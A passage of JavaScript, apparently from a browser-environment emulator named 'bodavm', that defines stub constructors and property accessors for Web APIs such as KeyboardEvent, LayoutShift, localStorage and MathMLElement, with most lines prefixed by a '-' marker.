bodavm.memory.globalobj['Keyboard'].prototype, "Keyboard", "unlock", arguments)}},'prototype'); - -// KeyboardEvent对象 -bodavm.memory.globalobj['KeyboardEvent'] = function KeyboardEvent(){if (!(this instanceof KeyboardEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'KeyboardEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['KeyboardEvent'], "KeyboardEvent"); -bodavm.memory.globalobj['KeyboardEvent'].prototype.__proto__=bodavm.memory.globalobj['UIEvent'].prototype; -bodavm.memory.globalobj['KeyboardEvent'].__proto__=bodavm.memory.globalobj['UIEvent']; -bodavm.toolsFunc.defineProperty('KeyboardEvent', "DOM_KEY_LOCATION_STANDARD", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "DOM_KEY_LOCATION_LEFT", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "DOM_KEY_LOCATION_RIGHT", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "DOM_KEY_LOCATION_NUMPAD", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "key", {configurable:true, enumerable:true, get:function key (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "key_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "code", {configurable:true, enumerable:true, get:function code (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "code_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "location", {configurable:true, enumerable:true, get:function location (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "location_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "ctrlKey", {configurable:true, enumerable:true, get:function ctrlKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "ctrlKey_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "shiftKey", {configurable:true, enumerable:true, get:function shiftKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "shiftKey_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "altKey", {configurable:true, enumerable:true, get:function altKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "altKey_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "metaKey", {configurable:true, enumerable:true, get:function metaKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "metaKey_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "repeat", {configurable:true, enumerable:true, get:function repeat (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "repeat_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "isComposing", {configurable:true, enumerable:true, get:function isComposing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "isComposing_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "charCode", {configurable:true, enumerable:true, get:function charCode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "charCode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "keyCode", {configurable:true, enumerable:true, get:function keyCode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "keyCode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "DOM_KEY_LOCATION_STANDARD", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "DOM_KEY_LOCATION_LEFT", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "DOM_KEY_LOCATION_RIGHT", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "DOM_KEY_LOCATION_NUMPAD", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "getModifierState", {configurable:true, enumerable:true, writable:true, value:function getModifierState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "getModifierState", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "initKeyboardEvent", {configurable:true, enumerable:true, writable:true, value:function initKeyboardEvent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "initKeyboardEvent", arguments)}},'prototype'); - -// KeyboardLayoutMap对象 -bodavm.memory.globalobj['KeyboardLayoutMap'] = function KeyboardLayoutMap(){if (!(this instanceof KeyboardLayoutMap)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['KeyboardLayoutMap'], "KeyboardLayoutMap"); -bodavm.toolsFunc.defineProperty('KeyboardLayoutMap', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardLayoutMap'].prototype, "KeyboardLayoutMap", "size_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardLayoutMap', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardLayoutMap'].prototype, "KeyboardLayoutMap", "entries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardLayoutMap', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardLayoutMap'].prototype, "KeyboardLayoutMap", "forEach", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardLayoutMap', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardLayoutMap'].prototype, "KeyboardLayoutMap", "get", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardLayoutMap', "has", {configurable:true, enumerable:true, writable:true, value:function has (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardLayoutMap'].prototype, "KeyboardLayoutMap", "has", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardLayoutMap', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardLayoutMap'].prototype, "KeyboardLayoutMap", "keys", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardLayoutMap', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardLayoutMap'].prototype, "KeyboardLayoutMap", "values", arguments)}},'prototype'); - -// KeyframeEffect对象 -bodavm.memory.globalobj['KeyframeEffect'] = function KeyframeEffect(){if (!(this instanceof KeyframeEffect)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'KeyframeEffect': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['KeyframeEffect'], "KeyframeEffect"); -bodavm.memory.globalobj['KeyframeEffect'].prototype.__proto__=bodavm.memory.globalobj['AnimationEffect'].prototype; -bodavm.memory.globalobj['KeyframeEffect'].__proto__=bodavm.memory.globalobj['AnimationEffect']; -bodavm.toolsFunc.defineProperty('KeyframeEffect', "target", {configurable:true, enumerable:true, get:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyframeEffect'].prototype, "KeyframeEffect", "target_get", arguments)}, set:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyframeEffect'].prototype, "KeyframeEffect", "target_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('KeyframeEffect', "pseudoElement", {configurable:true, enumerable:true, get:function pseudoElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyframeEffect'].prototype, "KeyframeEffect", "pseudoElement_get", arguments)}, set:function pseudoElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyframeEffect'].prototype, "KeyframeEffect", "pseudoElement_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('KeyframeEffect', "composite", {configurable:true, enumerable:true, get:function composite (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyframeEffect'].prototype, "KeyframeEffect", "composite_get", arguments)}, set:function composite (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyframeEffect'].prototype, "KeyframeEffect", "composite_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('KeyframeEffect', "getKeyframes", {configurable:true, enumerable:true, writable:true, value:function getKeyframes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyframeEffect'].prototype, "KeyframeEffect", "getKeyframes", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('KeyframeEffect', "setKeyframes", {configurable:true, enumerable:true, writable:true, value:function setKeyframes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyframeEffect'].prototype, "KeyframeEffect", "setKeyframes", arguments)}},'prototype'); - -// LargestContentfulPaint对象 -bodavm.memory.globalobj['LargestContentfulPaint'] = function LargestContentfulPaint(){if (!(this instanceof LargestContentfulPaint)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['LargestContentfulPaint'], "LargestContentfulPaint"); -bodavm.memory.globalobj['LargestContentfulPaint'].prototype.__proto__=bodavm.memory.globalobj['PerformanceEntry'].prototype; -bodavm.memory.globalobj['LargestContentfulPaint'].__proto__=bodavm.memory.globalobj['PerformanceEntry']; -bodavm.toolsFunc.defineProperty('LargestContentfulPaint', "renderTime", {configurable:true, enumerable:true, get:function renderTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LargestContentfulPaint'].prototype, "LargestContentfulPaint", "renderTime_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('LargestContentfulPaint', "loadTime", {configurable:true, enumerable:true, get:function loadTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LargestContentfulPaint'].prototype, "LargestContentfulPaint", "loadTime_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('LargestContentfulPaint', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LargestContentfulPaint'].prototype, "LargestContentfulPaint", "size_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('LargestContentfulPaint', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LargestContentfulPaint'].prototype, "LargestContentfulPaint", "id_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('LargestContentfulPaint', "url", {configurable:true, enumerable:true, get:function url (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LargestContentfulPaint'].prototype, "LargestContentfulPaint", "url_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('LargestContentfulPaint', "element", {configurable:true, enumerable:true, get:function element (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LargestContentfulPaint'].prototype, "LargestContentfulPaint", "element_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('LargestContentfulPaint', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LargestContentfulPaint'].prototype, "LargestContentfulPaint", "toJSON", arguments)}},'prototype'); - -// LaunchParams对象 -bodavm.memory.globalobj['LaunchParams'] = function LaunchParams(){if (!(this instanceof LaunchParams)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['LaunchParams'], "LaunchParams"); -bodavm.toolsFunc.defineProperty('LaunchParams', "targetURL", {configurable:true, enumerable:true, get:function targetURL (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LaunchParams'].prototype, "LaunchParams", "targetURL_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('LaunchParams', "files", {configurable:true, enumerable:true, get:function files (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LaunchParams'].prototype, "LaunchParams", "files_get", arguments)}, set:undefined},'prototype'); - -// LaunchQueue对象 - -bodavm.memory.globalobj['LaunchQueue'] = function LaunchQueue(){if (!(this instanceof LaunchQueue)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} - -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['LaunchQueue'], "LaunchQueue"); - -bodavm.toolsFunc.defineProperty('LaunchQueue', "setConsumer", {configurable:true, enumerable:true, writable:true, value:function setConsumer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LaunchQueue'].prototype, "LaunchQueue", "setConsumer", arguments)}},'prototype'); - - - -// launchQueue对象 - -bodavm.memory.globalobj['launchQueue'] = { - _boisinit:bodavm.config.isinit - } - -bodavm.memory.globalobj['launchQueue'].__proto__=bodavm.memory.globalobj['LaunchQueue'].prototype; - - -// LayoutShift对象 -bodavm.memory.globalobj['LayoutShift'] = function LayoutShift(){if (!(this instanceof LayoutShift)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['LayoutShift'], "LayoutShift"); -bodavm.memory.globalobj['LayoutShift'].prototype.__proto__=bodavm.memory.globalobj['PerformanceEntry'].prototype; -bodavm.memory.globalobj['LayoutShift'].__proto__=bodavm.memory.globalobj['PerformanceEntry']; -bodavm.toolsFunc.defineProperty('LayoutShift', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShift'].prototype, "LayoutShift", "value_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('LayoutShift', "hadRecentInput", {configurable:true, enumerable:true, get:function hadRecentInput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShift'].prototype, "LayoutShift", "hadRecentInput_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('LayoutShift', "lastInputTime", {configurable:true, enumerable:true, get:function lastInputTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShift'].prototype, "LayoutShift", "lastInputTime_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('LayoutShift', "sources", {configurable:true, enumerable:true, get:function sources (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShift'].prototype, "LayoutShift", "sources_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('LayoutShift', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShift'].prototype, "LayoutShift", "toJSON", arguments)}},'prototype'); - -// LayoutShiftAttribution对象 -bodavm.memory.globalobj['LayoutShiftAttribution'] = function LayoutShiftAttribution(){if (!(this instanceof LayoutShiftAttribution)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['LayoutShiftAttribution'], "LayoutShiftAttribution"); -bodavm.toolsFunc.defineProperty('LayoutShiftAttribution', "node", {configurable:true, enumerable:true, get:function node (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShiftAttribution'].prototype, "LayoutShiftAttribution", "node_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('LayoutShiftAttribution', "previousRect", {configurable:true, enumerable:true, get:function previousRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShiftAttribution'].prototype, "LayoutShiftAttribution", "previousRect_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('LayoutShiftAttribution', "currentRect", {configurable:true, enumerable:true, get:function currentRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShiftAttribution'].prototype, "LayoutShiftAttribution", "currentRect_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('LayoutShiftAttribution', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShiftAttribution'].prototype, "LayoutShiftAttribution", "toJSON", arguments)}},'prototype'); - -// LinearAccelerationSensor对象 -bodavm.memory.globalobj['LinearAccelerationSensor'] = function LinearAccelerationSensor(){this._boarg= new bodaobj.window.LinearAccelerationSensor();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['LinearAccelerationSensor'], "LinearAccelerationSensor"); -bodavm.memory.globalobj['LinearAccelerationSensor'].prototype.__proto__=bodavm.memory.globalobj['Accelerometer'].prototype; -bodavm.memory.globalobj['LinearAccelerationSensor'].__proto__=bodavm.memory.globalobj['Accelerometer']; - -// localStorage对象 - -bodavm.memory.globalobj['localStorage'] = { - _boisinit:bodavm.config.isinit - } - -bodavm.memory.globalobj['localStorage'].__proto__=bodavm.memory.globalobj['Storage'].prototype; - - -// locationbar对象 -bodavm.memory.globalobj['locationbar'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['locationbar'].__proto__=bodavm.memory.globalobj['BarProp'].prototype; - -// Lock对象 -bodavm.memory.globalobj['Lock'] = function Lock(){if (!(this instanceof Lock)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Lock'], "Lock"); -bodavm.toolsFunc.defineProperty('Lock', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Lock'].prototype, "Lock", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Lock', "mode", {configurable:true, enumerable:true, get:function mode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Lock'].prototype, "Lock", "mode_get", arguments)}, set:undefined},'prototype'); - -// matchMedia对象 -bodavm.memory.globalobj['matchMedia'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('matchMedia', "length", {configurable:true, enumerable:false, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('matchMedia', "name", {configurable:true, enumerable:false, writable:false, value:"matchMedia"}); - -// MathMLElement对象 -bodavm.memory.globalobj['MathMLElement'] = function MathMLElement(){if (!(this instanceof MathMLElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MathMLElement'], "MathMLElement"); -bodavm.memory.globalobj['MathMLElement'].prototype.__proto__=bodavm.memory.globalobj['Element'].prototype; -bodavm.memory.globalobj['MathMLElement'].__proto__=bodavm.memory.globalobj['Element']; -bodavm.toolsFunc.defineProperty('MathMLElement', "onbeforexrselect", {configurable:true, enumerable:true, get:function onbeforexrselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onbeforexrselect_get", arguments)}, set:function onbeforexrselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onbeforexrselect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onabort", {configurable:true, enumerable:true, get:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onabort_get", arguments)}, set:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onabort_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onbeforeinput", {configurable:true, enumerable:true, get:function onbeforeinput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onbeforeinput_get", arguments)}, set:function onbeforeinput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onbeforeinput_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onblur", {configurable:true, enumerable:true, get:function onblur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onblur_get", arguments)}, set:function onblur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onblur_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "oncancel", {configurable:true, enumerable:true, get:function oncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncancel_get", arguments)}, set:function oncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncancel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "oncanplay", {configurable:true, enumerable:true, get:function oncanplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncanplay_get", arguments)}, set:function oncanplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncanplay_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "oncanplaythrough", {configurable:true, enumerable:true, get:function oncanplaythrough (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncanplaythrough_get", arguments)}, set:function oncanplaythrough (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncanplaythrough_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onclick", {configurable:true, enumerable:true, get:function onclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onclick_get", arguments)}, set:function onclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onclick_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onclose", {configurable:true, enumerable:true, get:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onclose_get", arguments)}, set:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onclose_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "oncontextlost", {configurable:true, enumerable:true, get:function oncontextlost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncontextlost_get", arguments)}, set:function oncontextlost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncontextlost_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "oncontextmenu", {configurable:true, enumerable:true, get:function oncontextmenu (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncontextmenu_get", arguments)}, set:function oncontextmenu (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncontextmenu_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "oncontextrestored", {configurable:true, enumerable:true, get:function oncontextrestored (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncontextrestored_get", arguments)}, set:function oncontextrestored (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncontextrestored_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "oncuechange", {configurable:true, enumerable:true, get:function oncuechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncuechange_get", arguments)}, set:function oncuechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncuechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "ondblclick", {configurable:true, enumerable:true, get:function ondblclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondblclick_get", arguments)}, set:function ondblclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondblclick_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "ondrag", {configurable:true, enumerable:true, get:function ondrag (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondrag_get", arguments)}, set:function ondrag (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondrag_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "ondragend", {configurable:true, enumerable:true, get:function ondragend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragend_get", arguments)}, set:function ondragend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "ondragenter", {configurable:true, enumerable:true, get:function ondragenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragenter_get", arguments)}, set:function ondragenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragenter_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "ondragleave", {configurable:true, enumerable:true, get:function ondragleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragleave_get", arguments)}, set:function ondragleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragleave_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "ondragover", {configurable:true, enumerable:true, get:function ondragover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragover_get", arguments)}, set:function ondragover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragover_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "ondragstart", {configurable:true, enumerable:true, get:function ondragstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragstart_get", arguments)}, set:function ondragstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "ondrop", {configurable:true, enumerable:true, get:function ondrop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondrop_get", arguments)}, set:function ondrop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondrop_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "ondurationchange", {configurable:true, enumerable:true, get:function ondurationchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondurationchange_get", arguments)}, set:function ondurationchange (){return bodavm.toolsFunc.dispatch(this, 